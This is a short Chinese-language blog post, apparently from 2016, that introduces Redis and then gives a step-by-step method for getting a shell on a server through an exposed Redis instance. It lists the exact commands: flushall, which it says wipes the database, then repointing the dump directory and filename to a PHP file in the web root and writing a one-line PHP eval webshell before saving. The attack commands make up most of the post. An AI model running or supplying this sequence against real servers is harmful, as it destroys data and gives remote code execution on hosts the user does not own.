Learn Redis & Getshell via Redis 2016-07-16 #redis #redis getshell
前言
redis是一個NoSQL數據庫,也就是非關系型數據庫(MySQL是關系型數據庫),是一個基于內存,的key-value型數據庫,當然他也可以保存到硬盤達到持久型。
因為看各位師傅都在發關于redis
相關的東西,企業中用的也不少,所以簡單研究一下redis的用法以及用它來getshell。
安裝redis
在Ubuntu下安裝redis
sudo apt-get install redis-server
在mac下安裝redis
brew install redis
redis基礎
要研究redis來getshell,首先得明顯redis的基礎運行流程。
可以來看這篇文章:http://www.runoob.com/redis/redis-tutorial.html
我花了兩天時間把這篇文章看完了,其中也大概明白了如何利用redis來getshell。
利用redis來getshell
getshell的原理是通過配置數據庫文件目錄和地址,然后寫入數據庫一句話,最終getshell。
在這篇文章里面,詳細講解了redis的配置。
可以看到其中有dbfilename
,可以用來指定本地數據庫文件名,默認是dump.rdb
。
而dir
配置可以指定本地數據庫存放目錄,把這兩點結合起來,我們再往數據庫中寫入腳本木馬,即可達到getshell的效果。
首先我們使用redis-cli
連接redis:
redis-cli -h 192.168.0.16 -p 6379
隨后為了讓我們寫入的數據可以在數據庫文件靠前一點,可以先執行flushall
。
flushall會清空數據庫的所有內容……,各位客官慎用。
不過好在之前看到jaychou師傅發了一個善待Redis,遠離flushall,大家可以學習學習,我這個大家當做科普就好。
flushall以后,我們來設置數據庫目錄:
CONFIG SET dir /var/www/html/
然后設置文件名:
CONFIG SET dbfilename 2.php
隨后將腳本密碼寫入數據庫:
set webshell "<?php @eval($_POST['k']) ?>"
最終執行save
保存到數據庫文件:
save
然后看web目錄下,shell已然躺在里面:
最后總得說點什么
redis getshell不算什么新技術,然而我現在才開始研究,感覺自己真是菜雞,希望師傅們多帶帶我。